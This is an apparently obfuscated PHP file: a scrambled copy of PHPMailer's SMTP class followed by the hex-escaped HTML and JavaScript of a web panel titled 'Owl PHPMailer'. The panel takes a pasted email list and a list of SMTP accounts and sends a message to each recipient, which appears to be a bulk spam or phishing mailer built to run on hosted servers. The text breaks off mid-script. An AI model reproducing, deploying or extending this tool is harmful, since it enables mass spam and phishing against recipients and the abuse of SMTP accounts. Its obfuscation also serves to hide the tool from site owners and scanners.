    protected function parseHelloFields($W7B1j)
    {
        $this->server_caps = [];
        $yCe67 = explode("\12", $this->helo_rply);
        foreach ($yCe67 as $j0kQ0 => $nkurT) {
            $nkurT = trim(substr($nkurT, 4));
            if (!empty($nkurT)) {
                goto V4zCo;
            }
            goto TK7tY;
            V4zCo:
            $G4B70 = explode("\x20", $nkurT);
            if (empty($G4B70)) {
                goto P0vV4;
            }
            if (!$j0kQ0) {
                goto LmuOt;
            }
            $dEC3m = array_shift($G4B70);
            switch ($dEC3m) {
                case "\x53\x49\132\105":
                    $G4B70 = $G4B70 ? $G4B70[0] : 0;
                    goto CCwHQ;
                case "\101\x55\x54\110":
                    if (is_array($G4B70)) {
                        goto Cp24N;
                    }
                    $G4B70 = [];
                    Cp24N:
                    goto CCwHQ;
                default:
                    $G4B70 = true;
            }
            MgtH4:
            CCwHQ:
            goto f7wUd;
            LmuOt:
            $dEC3m = $W7B1j;
            $G4B70 = $G4B70[0];
            f7wUd:
            $this->server_caps[$dEC3m] = $G4B70;
            P0vV4:
            TK7tY:
        }
        rt_Yf:
    }
    public function mail($zzfpb)
    {
        $hwXU1 = $this->do_verp ? "\40\x58\x56\x45\x52\x50" : '';
        return $this->sendCommand("\115\x41\111\x4c\40\x46\x52\x4f\x4d", "\x4d\101\111\x4c\40\x46\122\x4f\x4d\x3a\x3c" . $zzfpb . "\x3e" . $hwXU1, 250);
    }
    public function quit($y4wbn = true)
    {
        $T__mp = $this->sendCommand("\x51\125\111\124", "\121\125\111\x54", 221);
        $yhEFW = $this->error;
        if (!($T__mp or $y4wbn)) {
            goto HLrNq;
        }
        $this->close();
        $this->error = $yhEFW;
        HLrNq:
        return $T__mp;
    }
    public function recipient($w1_0x, $GqLn3 = '')
    {
        if (empty($GqLn3)) {
            goto JiLXi;
        }
        $GqLn3 = strtoupper($GqLn3);
        $jLZ2_ = [];
        if (strpos($GqLn3, "\116\x45\126\x45\122") !== false) {
            goto EYKSu;
        }
        foreach (["\123\125\103\x43\x45\x53\x53", "\106\x41\111\x4c\x55\x52\x45", "\x44\105\x4c\x41\x59"] as $GywUj) {
            if (!(strpos($GqLn3, $GywUj) !== false)) {
                goto ssY44;
            }
            $jLZ2_[] = $GywUj;
            ssY44:
            GSWj3:
        }
        RDJ3m:
        goto l8O1S;
        EYKSu:
        $jLZ2_[] = "\x4e\x45\x56\105\x52";
        l8O1S:
        $DoDCn = "\x52\103\x50\x54\x20\124\117\x3a\x3c" . $w1_0x . "\76\40\116\117\x54\111\106\131\x3d" . implode("\x2c", $jLZ2_);
        goto nllRo;
        JiLXi:
        $DoDCn = "\122\103\x50\x54\x20\124\117\x3a\74" . $w1_0x . "\76";
        nllRo:
        return $this->sendCommand("\122\x43\120\124\x20\124\x4f", $DoDCn, [250, 251]);
    }
    public function reset()
    {
        return $this->sendCommand("\x52\123\x45\x54", "\122\x53\105\x54", 250);
    }
    protected function sendCommand($HpHJw, $TygF6, $iqPuy)
    {
        if ($this->connected()) {
            goto Epjht;
        }
        $this->setError("\x43\x61\154\154\x65\144\x20{$HpHJw}\x20\167\x69\x74\150\x6f\165\164\x20\x62\145\151\156\x67\x20\143\x6f\156\156\x65\x63\x74\x65\144");
        return false;
        Epjht:
        if (!(strpos($TygF6, "\12") !== false or strpos($TygF6, "\15") !== false)) {
            goto wgzXg;
        }
        $this->setError("\103\157\x6d\x6d\x61\x6e\144\x20\47{$HpHJw}\x27\40\143\157\x6e\164\141\x69\156\145\x64\x20\154\x69\156\145\40\x62\x72\145\x61\153\x73");
        return false;
        wgzXg:
        $this->client_send($TygF6 . static::LE, $HpHJw);
        $this->last_reply = $this->get_lines();
        $I3B9w = [];
        if (preg_match("\x2f\136\x28\133\x30\55\x39\x5d\173\63\175\x29\x5b\x20\x2d\x5d\50\x3f\72\50\133\x30\x2d\x39\x5d\134\56\133\x30\55\x39\135\x5c\56\x5b\60\55\71\x5d\x7b\x31\x2c\62\175\51\40\51\x3f\x2f", $this->last_reply, $I3B9w)) {
            goto mNDiC;
        }
        $GRPqa = substr($this->last_reply, 0, 3);
        $oH4Wx = null;
        $uPrCC = substr($this->last_reply, 4);
        goto HWOpx;
        mNDiC:
        $GRPqa = $I3B9w[1];
        $oH4Wx = count($I3B9w) > 2 ? $I3B9w[2] : null;
        $uPrCC = preg_replace("\57{$GRPqa}\133\x20\x2d\x5d" . ($oH4Wx ? str_replace("\56", "\x5c\x2e", $oH4Wx) . "\x20" : '') . "\x2f\x6d", '', $this->last_reply);
        HWOpx:
        $this->edebug("\x53\105\122\126\x45\x52\x20\55\x3e\x20\x43\x4c\111\105\x4e\124\x3a\x20" . $this->last_reply, self::DEBUG_SERVER);
        if (in_array($GRPqa, (array) $iqPuy)) {
            goto eHlHk;
        }
        $this->setError("{$HpHJw}\x20\143\x6f\155\x6d\141\x6e\144\40\146\x61\151\154\145\x64", $uPrCC, $GRPqa, $oH4Wx);
        $this->edebug("\x53\115\x54\x50\40\x45\122\122\x4f\122\x3a\x20" . $this->error["\x65\x72\162\x6f\162"] . "\x3a\x20" . $this->last_reply, self::DEBUG_CLIENT);
        return false;
        eHlHk:
        $this->setError('');
        return true;
    }
    public function sendAndMail($zzfpb)
    {
        return $this->sendCommand("\123\101\x4d\x4c", "\123\101\115\x4c\40\106\x52\x4f\x4d\72{$zzfpb}", 250);
    }
    public function verify($dEC3m)
    {
        return $this->sendCommand("\x56\x52\x46\x59", "\x56\x52\106\x59\40{$dEC3m}", [250, 251]);
    }
    public function noop()
    {
        return $this->sendCommand("\116\x4f\x4f\x50", "\x4e\x4f\x4f\120", 250);
    }
    public function turn()
    {
        $this->setError("\124\x68\145\40\123\x4d\124\x50\x20\x54\125\122\116\40\x63\x6f\x6d\x6d\x61\156\144\40\151\x73\x20\x6e\157\164\x20\151\155\160\x6c\x65\155\145\x6e\164\145\144");
        $this->edebug("\123\x4d\x54\120\x20\x4e\x4f\x54\x49\x43\105\x3a\x20" . $this->error["\x65\x72\x72\x6f\x72"], self::DEBUG_CLIENT);
        return false;
    }
    public function client_send($FJQWD, $HpHJw = '')
    {
        if (self::DEBUG_LOWLEVEL > $this->do_debug and in_array($HpHJw, ["\125\163\145\x72\40\x26\40\x50\x61\x73\x73\x77\157\162\x64", "\125\x73\145\x72\x6e\141\155\145", "\x50\x61\163\163\x77\x6f\162\x64"], true)) {
            goto C57T2;
        }
        $this->edebug("\103\x4c\111\x45\116\x54\40\55\x3e\40\123\105\x52\x56\105\122\72\40" . $FJQWD, self::DEBUG_CLIENT);
        goto oVMZ8;
        C57T2:
        $this->edebug("\x43\x4c\111\105\x4e\x54\40\x2d\x3e\x20\123\x45\x52\126\x45\122\72\40\74\x63\162\x65\144\x65\156\164\151\141\154\x73\x20\150\151\x64\144\x65\x6e\76", self::DEBUG_CLIENT);
        oVMZ8:
        set_error_handler([$this, "\145\162\x72\157\162\110\141\156\x64\x6c\x65\162"]);
        $HYIC3 = fwrite($this->smtp_conn, $FJQWD);
        restore_error_handler();
        return $HYIC3;
    }
    public function getError()
    {
        return $this->error;
    }
    public function getServerExtList()
    {
        return $this->server_caps;
    }
    public function getServerExt($dEC3m)
    {
        if ($this->server_caps) {
            goto c8YAb;
        }
        $this->setError("\x4e\157\x20\110\x45\x4c\117\x2f\105\110\114\117\x20\x77\141\163\x20\163\x65\156\x74");
        return;
        c8YAb:
        if (array_key_exists($dEC3m, $this->server_caps)) {
            goto x3Fm9;
        }
        if (!("\110\105\x4c\x4f" == $dEC3m)) {
            goto o_rIh;
        }
        return $this->server_caps["\105\110\114\x4f"];
        o_rIh:
        if (!("\105\x48\114\117" == $dEC3m || array_key_exists("\105\110\x4c\117", $this->server_caps))) {
            goto oZ_BV;
        }
        return false;
        oZ_BV:
        $this->setError("\x48\105\114\117\x20\150\141\x6e\x64\x73\150\x61\153\x65\x20\x77\141\163\x20\165\x73\x65\x64\x3b\40\116\157\40\151\156\x66\x6f\162\x6d\x61\x74\151\157\x6e\x20\141\x62\x6f\x75\x74\x20\x73\145\162\166\145\162\x20\x65\170\x74\145\x6e\x73\x69\157\x6e\163\40\x61\x76\141\x69\x6c\141\142\x6c\145");
        return;
        x3Fm9:
        return $this->server_caps[$dEC3m];
    }
    public function getLastReply()
    {
        return $this->last_reply;
    }
    protected function get_lines()
    {
        if (is_resource($this->smtp_conn)) {
            goto J3Q8N;
        }
        return '';
        J3Q8N:
        $FJQWD = '';
        $PMSOC = 0;
        stream_set_timeout($this->smtp_conn, $this->Timeout);
        if (!($this->Timelimit > 0)) {
            goto idgxd;
        }
        $PMSOC = time() + $this->Timelimit;
        idgxd:
        $E7OLR = [$this->smtp_conn];
        $p6c00 = null;
        QLcAL:
        if (!(is_resource($this->smtp_conn) and !feof($this->smtp_conn))) {
            goto P8pF2;
        }
        if (stream_select($E7OLR, $p6c00, $p6c00, $this->Timelimit)) {
            goto r2AJq;
        }
        $this->edebug("\x53\115\x54\120\x20\55\x3e\x20\147\x65\x74\x5f\x6c\151\x6e\145\x73\50\51\x3a\x20\164\151\x6d\145\144\55\157\x75\164\40\50" . $this->Timeout . "\40\163\145\x63\x29", self::DEBUG_LOWLEVEL);
        goto P8pF2;
        r2AJq:
        $YX4WE = @fgets($this->smtp_conn, 515);
        $this->edebug("\123\x4d\124\120\40\111\x4e\102\117\125\x4e\104\72\x20\42" . trim($YX4WE) . "\x22", self::DEBUG_LOWLEVEL);
        $FJQWD .= $YX4WE;
        if (!(!isset($YX4WE[3]) or isset($YX4WE[3]) and $YX4WE[3] == "\x20")) {
            goto X4avt;
        }
        goto P8pF2;
        X4avt:
        $fgoJU = stream_get_meta_data($this->smtp_conn);
        if (!$fgoJU["\x74\151\x6d\x65\144\x5f\157\165\x74"]) {
            goto cQk94;
        }
        $this->edebug("\123\115\124\x50\40\55\76\40\x67\x65\x74\137\x6c\151\156\x65\163\50\x29\72\40\x74\x69\155\145\x64\x2d\157\165\x74\40\50" . $this->Timeout . "\40\163\145\143\51", self::DEBUG_LOWLEVEL);
        goto P8pF2;
        cQk94:
        if (!($PMSOC and time() > $PMSOC)) {
            goto BfCox;
        }
        $this->edebug("\123\x4d\124\120\40\55\x3e\40\147\145\164\x5f\154\x69\156\x65\163\50\51\x3a\x20\164\x69\x6d\x65\154\x69\155\151\x74\x20\x72\145\141\143\x68\145\x64\40\x28" . $this->Timelimit . "\40\x73\145\x63\51", self::DEBUG_LOWLEVEL);
        goto P8pF2;
        BfCox:
        goto QLcAL;
        P8pF2:
        return $FJQWD;
    }
    public function setVerp($cgoP4 = false)
    {
        $this->do_verp = $cgoP4;
    }
    public function getVerp()
    {
        return $this->do_verp;
    }
    protected function setError($GRJNx, $uPrCC = '', $bWnuE = '', $ivOgZ = '')
    {
        $this->error = ["\145\x72\162\x6f\162" => $GRJNx, "\x64\x65\x74\x61\151\x6c" => $uPrCC, "\163\x6d\164\160\x5f\143\157\x64\145" => $bWnuE, "\163\155\x74\x70\x5f\143\x6f\144\145\137\x65\170" => $ivOgZ];
    }
    public function setDebugOutput($MGcrK = "\x65\x63\x68\157")
    {
        $this->Debugoutput = $MGcrK;
    }
    public function getDebugOutput()
    {
        return $this->Debugoutput;
    }
    public function setDebugLevel($vdarJ = 0)
    {
        $this->do_debug = $vdarJ;
    }
    public function getDebugLevel()
    {
        return $this->do_debug;
    }
    public function setTimeout($yMz18 = 0)
    {
        $this->Timeout = $yMz18;
    }
    public function getTimeout()
    {
        return $this->Timeout;
    }
    protected function errorHandler($rXtrb, $iZwv6, $JG32u = '', $ZtLKr = 0)
    {
        $fUXiU = "\x43\x6f\x6e\156\x65\x63\164\x69\x6f\156\40\146\x61\151\154\x65\x64\56";
        $this->setError($fUXiU, $iZwv6, (string) $rXtrb);
        $this->edebug("{$fUXiU}\x20\105\162\162\157\x72\x20\43{$rXtrb}\x3a\x20{$iZwv6}\40\133{$JG32u}\x20\x6c\x69\x6e\145\x20{$ZtLKr}\135", self::DEBUG_CONNECTION);
    }
    protected function recordLastTransactionID()
    {
        $ik9JE = $this->getLastReply();
        if (empty($ik9JE)) {
            goto LbjqT;
        }
        $this->last_smtp_transaction_id = false;
        foreach ($this->smtp_transaction_id_patterns as $Z7VJu) {
            if (!preg_match($Z7VJu, $ik9JE, $I3B9w)) {
                goto TUluN;
            }
            $this->last_smtp_transaction_id = trim($I3B9w[1]);
            goto e4XQZ;
            TUluN:
            PnqB4:
        }
        e4XQZ:
        goto Q2D7f;
        LbjqT:
        $this->last_smtp_transaction_id = null;
        Q2D7f:
        return $this->last_smtp_transaction_id;
    }
    public function getLastTransactionID()
    {
        return $this->last_smtp_transaction_id;
    }
}
class phpmailerException extends Exception
{
    public function errorMessage()
    {
        $ZOBq5 = "\x3c\163\164\162\x6f\156\x67\76" . $this->getMessage() . "\74\57\x73\x74\x72\157\156\147\x3e\x3c\142\162\x20\x2f\76\12";
        return $ZOBq5;
    }
}
echo "\x3c\x21\104\x4f\103\124\131\120\105\x20\150\x74\155\x6c\x3e\15\12\74\x68\x74\155\x6c\40\x6c\141\156\147\x3d\42\x65\156\x22\76\15\xa\x3c\150\x65\141\x64\76\15\xa\40\x20\x3c\155\x65\x74\141\40\x63\150\141\x72\x73\145\x74\75\x22\165\x74\146\55\x38\x22\76\xd\xa\40\40\74\155\145\x74\x61\40\x68\x74\x74\x70\55\145\161\x75\x69\x76\75\x22\x58\x2d\x55\101\x2d\103\157\155\160\x61\164\x69\142\x6c\x65\x22\x20\x63\x6f\x6e\x74\x65\x6e\164\75\42\x49\x45\40\x3d\x20\145\144\147\145\x22\x3e\15\12\40\x20\x3c\155\x65\164\141\40\156\x61\x6d\145\75\42\x76\151\145\167\160\157\162\x74\42\40\x63\157\x6e\164\x65\156\x74\75\42\167\x69\x64\164\150\40\75\40\144\145\x76\x69\143\145\55\167\151\x64\x74\150\54\x20\x69\x6e\x69\x74\x69\141\x6c\55\x73\x63\141\154\145\40\x3d\x20\x31\x22\x3e\15\xa\x20\40\x3c\x74\151\x74\x6c\145\x3e\117\167\x6c\40\x50\110\x50\x4d\x61\x69\154\x65\162\40";
echo $qeeAj["\x76\x65\x72\x73\151\x6f\156"];
echo "\74\x2f\x74\151\x74\154\145\x3e\xd\xa\x20\40\40\40\x20\40\40\40\40\x20\x20\40\x20\40\x20\74\x6c\x69\156\153\x20\x68\x72\145\x66\75\42\x68\164\164\x70\163\x3a\x2f\57\157\167\x6c\155\x61\x69\154\x65\162\56\x69\x6f\x2f\x63\163\163\57\x33\56\63\56\66\142\x6f\157\x74\x73\164\x72\141\160\x2e\x6d\x69\156\56\x63\163\163\42\40\x72\145\x6c\75\42\163\x74\171\x6c\145\163\150\145\145\x74\42\x3e\xd\12\40\x20\x3c\41\55\x2d\x20\152\x51\165\x65\162\171\40\50\156\x65\x63\x65\x73\163\x61\x72\x79\x20\x66\x6f\x72\x20\x42\x6f\x6f\164\163\164\162\141\160\x27\x73\40\112\x61\x76\x61\x53\143\x72\151\x70\164\40\160\154\165\147\151\156\163\x29\40\x2d\55\76\xd\12\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x20\40\x20\x20\74\163\143\x72\x69\x70\164\x20\163\162\143\x3d\x22\150\x74\164\160\x73\x3a\57\57\x6f\x77\x6c\155\141\151\x6c\x65\162\x2e\151\x6f\x2f\x63\163\163\x2f\x6a\161\x75\145\x72\171\x2e\x6d\151\x6e\56\152\x73\42\x3e\74\x2f\x73\x63\162\x69\160\x74\x3e\15\12\74\154\x69\156\153\40\x72\145\x6c\75\42\x73\164\171\154\x65\x73\x68\x65\145\164\42\40\x74\x79\x70\145\x3d\42\x74\145\x78\164\x2f\143\163\163\x22\40\150\x72\145\146\x3d\42\x68\x74\164\160\163\72\x2f\57\x6f\x77\x6c\155\x61\151\x6c\x65\162\56\x69\157\x2f";
echo $RcI5o, $RNSkS;
echo "\x22\x20\57\x3e\xd\xa\40\40\40\x20\40\40\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\x3c\163\143\x72\x69\x70\x74\40\163\x72\143\75\42\150\164\164\160\163\x3a\57\57\157\167\x6c\x6d\141\x69\x6c\145\162\x2e\151\157\57\143\x73\163\x2f\63\x2e\63\x2e\61\x62\157\x6f\164\163\x74\162\141\160\56\155\x69\x6e\56\152\163\x22\x3e\x3c\57\163\143\x72\151\x70\164\76\15\12\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x3c\154\151\156\153\40\x72\x65\x6c\x3d\x22\x69\x63\x6f\156\42\40\x68\162\x65\x66\75\x22\150\164\x74\x70\163\x3a\57\57\x6f\x77\154\155\141\x69\154\x65\162\x2e\151\x6f\x2f\x69\x6d\147\x2f\146\x61\x76\151\x63\157\156\x2e\x69\x63\x6f\42\x20\164\x79\160\145\x3d\x22\x69\155\x61\147\x65\x2f\170\x2d\151\143\157\156\x22\40\57\76\15\12\xd\12\xd\12\x3c\x2f\x68\145\x61\144\76\xd\xa\15\xa\x3c\x62\x6f\144\171\x3e\15\12\x20\x20\40\40\74\163\143\x72\x69\x70\x74\76\15\12\x20\x20\40\x20\x20\x20\x20\40\166\141\162\40\x72\x75\156\156\x69\156\147\40\x3d\x20\146\x61\x6c\163\145\73\15\12\x20\40\x20\40\x20\x20\40\40\x76\141\162\x20\162\145\x71\165\x65\163\164\x3b\xd\12\40\40\40\x20\x3c\x2f\x73\x63\x72\x69\x70\164\76\15\xa\xd\xa\40\x20\x3c\163\x63\162\x69\x70\164\76\15\xa\x20\40\40\40\101\x72\x72\141\171\x2e\x70\x72\x6f\x74\157\164\x79\x70\x65\56\x72\141\156\144\157\155\x45\154\x65\x6d\x65\x6e\164\x20\75\40\x66\165\x6e\x63\x74\151\x6f\x6e\40\x28\x29\40\x7b\15\xa\x20\x20\x72\x65\164\165\162\x6e\40\164\150\x69\x73\x5b\x4d\141\164\150\56\146\154\157\157\162\x28\115\x61\x74\150\56\x72\141\156\144\157\155\x28\x29\x20\x2a\40\164\x68\151\x73\56\x6c\145\x6e\x67\164\x68\51\135\15\xa\x20\175\15\xa\xd\xa\40\x66\x75\156\x63\x74\151\157\x6e\x20\x73\164\157\160\x53\x65\156\144\151\156\147\x28\51\xd\12\x20\173\15\12\40\x20\x20\40\162\x75\x6e\156\151\156\x67\x20\x3d\40\x66\x61\154\163\x65\x3b\15\xa\15\xa\40\x20\40\x20\x69\146\x20\x28\x72\145\x71\x75\x65\163\164\51\x20\173\xd\xa\40\x20\40\x20\x20\40\40\x20\x72\x65\161\165\x65\x73\164\x2e\141\x62\157\x72\x74\x28\x29\x3b\xd\xa\x20\x20\x20\x20\40\40\175\xd\xa\15\xa\40\x20\x20\x20\x24\50\42\x23\142\x74\156\x53\x74\x61\x72\164\x22\x29\x2e\141\x74\x74\x72\50\x22\144\151\x73\141\x62\154\145\x64\x22\54\40\146\141\x6c\163\145\51\x3b\15\xa\x20\x20\40\40\44\x28\42\x23\142\x74\x6e\x53\164\x6f\x70\x22\x29\56\x61\164\x74\x72\50\x22\x64\151\163\141\142\x6c\x65\144\x22\54\40\x74\x72\165\x65\51\73\xd\xa\x20\x7d\15\xa\xd\12\x20\146\x75\x6e\x63\164\151\157\156\40\x68\x61\156\x64\154\145\x53\x65\156\144\x69\x6e\x67\x52\x65\163\x70\157\156\163\x65\50\162\x65\x63\x69\160\x69\145\x6e\164\x2c\40\x72\x65\163\x70\x6f\x6e\163\x65\x2c\40\160\162\157\x63\145\x73\163\x65\x64\103\157\165\156\x74\x2c\40\x74\x6f\164\x61\154\105\155\x61\x69\x6c\103\x6f\x75\156\164\x29\40\173\xd\12\x20\40\x24\50\x22\x23\x70\162\157\x67\x72\145\163\163\42\51\x2e\141\160\x70\x65\156\x64\x28\x27\74\x64\151\x76\x20\143\154\x61\x73\x73\x3d\x22\143\157\x6c\55\x6c\147\x2d\x33\42\76\47\40\x2b\x20\x70\x72\157\143\x65\x73\x73\145\144\x43\157\165\x6e\164\x2e\164\157\123\x74\x72\151\x6e\x67\x28\x29\40\x2b\x20\47\57\47\40\53\x20\x74\157\164\x61\154\x45\x6d\141\151\154\x43\157\165\x6e\x74\x2e\x74\x6f\x53\164\162\151\x6e\x67\50\51\x20\53\40\x27\74\x2f\x64\151\x76\x3e\74\144\151\166\x20\x63\154\x61\x73\163\x3d\x22\x63\157\x6c\55\x6c\147\55\66\42\x3e\x27\40\53\x20\162\145\143\151\160\151\145\x6e\x74\40\x2b\40\47\74\x2f\144\151\166\76\47\51\x3b\15\xa\x20\x20\xd\xa\x20\x20\151\146\40\x28\162\x65\163\160\157\156\163\x65\x20\x3d\x3d\x20\x22\117\x4b\42\51\x7b\15\12\x20\40\x20\40\x24\50\42\x23\160\x72\x6f\147\162\145\x73\163\x22\x29\x2e\x61\x70\x70\145\156\144\x28\47\x3c\x64\151\166\40\143\x6c\141\163\163\x3d\42\x63\157\154\x2d\154\x67\55\61\42\x3e\x3c\163\160\x61\156\40\x63\154\x61\x73\x73\75\42\154\141\142\x65\x6c\x20\x6c\x61\x62\x65\x6c\x2d\163\x75\x63\x63\x65\x73\163\x22\76\117\153\x3c\57\163\160\x61\156\x3e\74\x2f\144\x69\x76\76\x27\x29\73\xd\12\x20\x20\x7d\xd\xa\40\40\x65\x6c\163\x65\x20\151\x66\x28\162\145\x73\160\157\x6e\163\145\40\x3d\75\40\x22\x49\156\143\x6f\x72\x72\145\x63\x74\40\105\x6d\x61\x69\154\42\x29\173\xd\12\40\x20\40\x20\44\50\42\43\x70\162\x6f\x67\162\x65\x73\x73\42\51\56\x61\160\160\x65\x6e\144\50\47\74\144\151\166\x20\x63\x6c\141\x73\x73\x3d\x22\x63\x6f\x6c\x2d\154\x67\55\61\x22\x3e\x3c\x73\x70\x61\156\40\x63\154\141\x73\163\75\42\154\141\x62\x65\x6c\x20\154\141\x62\x65\x6c\x2d\144\x65\x66\141\x75\x6c\164\x22\76\111\x6e\143\157\x72\162\x65\143\164\40\x45\x6d\x61\151\x6c\74\57\163\x70\141\156\x3e\74\57\144\151\166\x3e\x27\51\73\xd\12\40\40\175\x20\x65\x6c\x73\145\40\173\15\12\40\x20\40\x20\44\x28\x22\43\x70\x72\157\x67\162\x65\163\163\42\x29\56\141\160\x70\x65\156\x64\x28\x27\x3c\x64\151\x76\x20\x63\154\141\163\163\x3d\42\143\157\154\55\x6c\147\x2d\x31\42\76\74\163\x70\141\x6e\40\143\x6c\141\x73\163\75\42\154\141\142\x65\x6c\x20\x6c\x61\142\145\x6c\55\144\145\146\141\x75\x6c\x74\42\x3e\47\40\x2b\40\x72\145\x73\x70\x6f\156\x73\145\40\53\40\x27\x3c\x2f\x73\x70\141\156\x3e\74\57\144\151\166\76\x27\x29\73\15\12\x20\x20\x7d\xd\12\40\x20\44\50\42\43\160\162\157\147\162\145\x73\163\x22\x29\x2e\x61\160\160\x65\156\x64\x28\47\74\x62\x72\x3e\x27\x29\73\15\12\40\175\xd\xa\15\xa\x20\146\165\156\x63\164\x69\157\156\40\x73\164\141\x72\164\123\x65\x6e\x64\x69\x6e\x67\50\51\x20\x7b\xd\12\15\xa\40\xd\12\xd\12\x20\40\x76\x61\162\x20\145\x4d\141\x69\154\124\x65\170\x74\101\162\145\141\x20\75\40\144\157\x63\x75\155\x65\156\164\56\147\145\164\x45\x6c\x65\x6d\145\156\x74\x42\171\x49\x64\50\42\145\155\141\x69\x6c\x4c\151\163\x74\42\51\73\15\xa\40\40\x76\x61\x72\40\x65\115\141\x69\154\x54\145\x78\x74\x41\162\x65\141\114\x69\156\145\163\x20\75\40\145\115\141\151\154\124\x65\170\164\x41\x72\x65\x61\56\166\x61\154\165\x65\x2e\163\x70\154\151\164\50\42\134\x6e\42\x29\x3b\15\12\x20\x20\166\141\162\x20\x73\x6d\x74\x70\x41\143\x63\157\x75\156\x74\x73\124\145\x78\x74\101\x72\x65\x61\40\x3d\x20\144\157\x63\x75\155\x65\156\164\x2e\x67\145\x74\105\x6c\x65\x6d\145\156\164\102\171\111\144\50\x22\163\x6d\x74\x70\101\x63\143\157\x75\x6e\164\163\42\x29\x3b\15\xa\x20\x20\166\141\162\40\x73\x6d\164\x70\x41\143\x63\x6f\165\156\164\x73\124\145\170\164\x41\x72\145\141\x4c\x69\156\145\x73\x20\x3d\x20\x73\x6d\164\160\101\x63\x63\x6f\165\156\164\163\124\x65\x78\164\x41\x72\x65\141\x2e\166\x61\154\165\145\x2e\x73\x70\154\151\x74\50\42\x5c\x6e\x22\51\x3b\15\12\x20\40\166\141\162\x20\x65\x6e\x63\x6f\144\x69\x6e\x67\124\171\x70\145\105\40\x3d\x20\144\157\x63\165\155\x65\156\x74\56\147\145\x74\x45\x6c\145\x6d\x65\x6e\x74\x42\x79\111\x64\x28\47\145\156\x63\157\x64\151\x6e\x67\47\x29\x3b\xd\12\40\40\166\x61\x72\40\145\x6e\x63\x6f\144\x69\156\x67\124\171\160\145\40\75\40\x65\156\143\157\x64\x69\156\x67\124\x79\160\x65\x45\x2e\x6f\160\164\151\157\x6e\x73\133\x65\x6e\x63\157\144\151\156\x67\x54\171\160\145\105\x2e\163\x65\x6c\145\x63\164\x65\x64\111\x6e\144\145\170\135\56\166\x61\154\x75\145\73\xd\xa\x20\40\166\141\x72\x20\x65\155\x61\151\x6c\x50\162\x69\x6f\x72\151\x74\171\x45\40\x3d\40\144\x6f\x63\165\x6d\145\x6e\x74\x2e\147\x65\x74\105\154\x65\155\x65\x6e\x74\102\171\x49\x64\50\47\x70\162\x69\157\x72\151\164\x79\x27\51\x3b\xd\12\40\x20\x76\141\x72\x20\145\x6d\141\x69\154\x50\162\151\x6f\162\x69\x74\171\x20\x3d\x20\145\x6d\141\151\x6c\120\162\x69\157\x72\151\x74\x79\x45\56\157\160\164\151\157\x6e\163\x5b\145\155\x61\151\154\120\x72\151\x6f\x72\151\164\171\105\x2e\163\145\x6c\145\143\x74\x65\144\x49\156\x64\145\170\x5d\x2e\x76\x61\x6c\x75\x65\x3b\xd\xa\40\15\xa\x20\40\40\x76\141\162\40\x66\x6f\x72\x6d\137\x64\141\x74\141\40\x3d\x20\x6e\145\x77\40\106\157\162\155\x44\141\164\x61\x28\x29\x3b\xd\xa\40\40\x20\146\157\x72\x6d\x5f\144\x61\x74\x61\56\x61\160\x70\x65\x6e\x64\50\42\x61\143\164\151\x6f\156\42\x2c\40\x22\163\145\x6e\x64\42\51\73\xd\12\40\40\40\x66\x6f\x72\x6d\137\144\x61\x74\x61\x2e\x61\x70\160\145\x6e\x64\x28\42\x73\145\x6e\144\151\156\147\x4d\x65\164\150\x6f\x64\x22\x2c\40\x64\x6f\143\165\155\x65\x6e\x74\56\x71\165\145\x72\x79\x53\x65\x6c\x65\x63\164\157\162\x28\47\x69\x6e\x70\x75\x74\x5b\x6e\x61\155\x65\x3d\x22\x73\145\x6e\x64\151\156\x67\x4d\145\x74\x68\157\144\x22\135\x3a\143\150\x65\143\153\x65\x64\x27\x29\56\x76\x61\x6c\165\x65\51\73\15\12\x20\40\x20\x66\x6f\x72\155\x5f\144\x61\x74\x61\56\x61\x70\x70\x65\x6e\x64\x28\x22\x73\x65\x6e\144\145\162\105\155\141\151\x6c\x22\54\40\x64\157\143\165\x6d\x65\156\x74\56\x67\145\164\x45\154\145\x6d\145\x6e\164\x42\171\x49\144\x28\x27\x73\x65\156\x64\145\x72\105\x6d\x61\x69\154\x27\51\56\166\x61\x6c\165\x65\51\73\15\xa\x20\40\40\x66\x6f\162\x6d\x5f\144\x61\164\x61\56\141\x70\160\x65\x6e\144\50\42\x73\145\x6e\144\145\x72\x4e\x61\x6d\145\x22\54\x20\x64\x6f\143\165\155\x65\x6e\164\x2e\x67\x65\164\105\154\145\155\145\156\164\x42\x79\111\x64\x28\47\163\x65\156\x64\x65\x72\116\x61\155\x65\x27\x29\x2e\166\x61\154\x75\x65\51\x3b\xd\12\40\40\40\146\157\162\x6d\137\x64\x61\164\x61\x2e\x61\160\x70\145\156\x64\50\x22\162\x65\160\x6c\171\x54\157\42\54\40\144\x6f\x63\165\155\x65\x6e\x74\56\x67\145\x74\105\154\x65\x6d\x65\156\x74\x42\x79\x49\x64\x28\x27\x72\x65\160\154\171\124\x6f\x27\x29\x2e\x76\141\154\165\145\x29\x3b\15\12\40\x20\x20\146\157\x72\x6d\137\x64\141\164\x61\x2e\x61\x70\x70\145\x6e\x64\x28\42\x6d\145\163\163\x61\x67\x65\123\165\x62\152\145\x63\164\42\54\40\x64\x6f\x63\x75\x6d\x65\x6e\164\56\x67\x65\x74\105\x6c\145\155\x65\x6e\164\x42\171\x49\144\x28\x27\163\165\x62\152\x65\143\164\47\x29\x2e\x76\x61\154\165\145\51\73\xd\xa\x20\x20\40\x66\157\x72\x6d\x5f\x64\141\164\x61\x2e\x61\x70\160\145\x6e\144\50\42\x6d\145\x73\163\141\x67\145\114\145\164\x74\x65\x72\42\54\x20\x64\x6f\x63\165\x6d\145\x6e\164\x2e\147\145\x74\x45\154\x65\155\145\156\164\x42\x79\x49\x64\x28\x27\x6d\145\163\x73\x61\147\145\x4c\x65\164\x74\x65\162\x27\51\56\166\x61\154\165\x65\51\73\xd\xa\40\x20\40\146\157\162\155\x5f\x64\x61\164\141\56\x61\160\x70\x65\x6e\144\x28\42\x61\154\164\x4d\x65\x73\x73\x61\147\x65\x4c\x65\x74\164\x65\162\42\54\40\x64\157\143\165\x6d\145\156\x74\56\147\x65\164\x45\154\x65\x6d\145\x6e\x74\x42\171\x49\144\x28\47\141\154\x74\x4d\x65\x73\x73\141\147\145\114\x65\x74\164\x65\x72\47\x29\56\x76\141\x6c\165\145\x29\x3b\15\xa\40\x20\x20\146\157\x72\x6d\137\x64\x61\x74\141\x2e\x61\160\x70\x65\156\144\x28\x22\155\145\x73\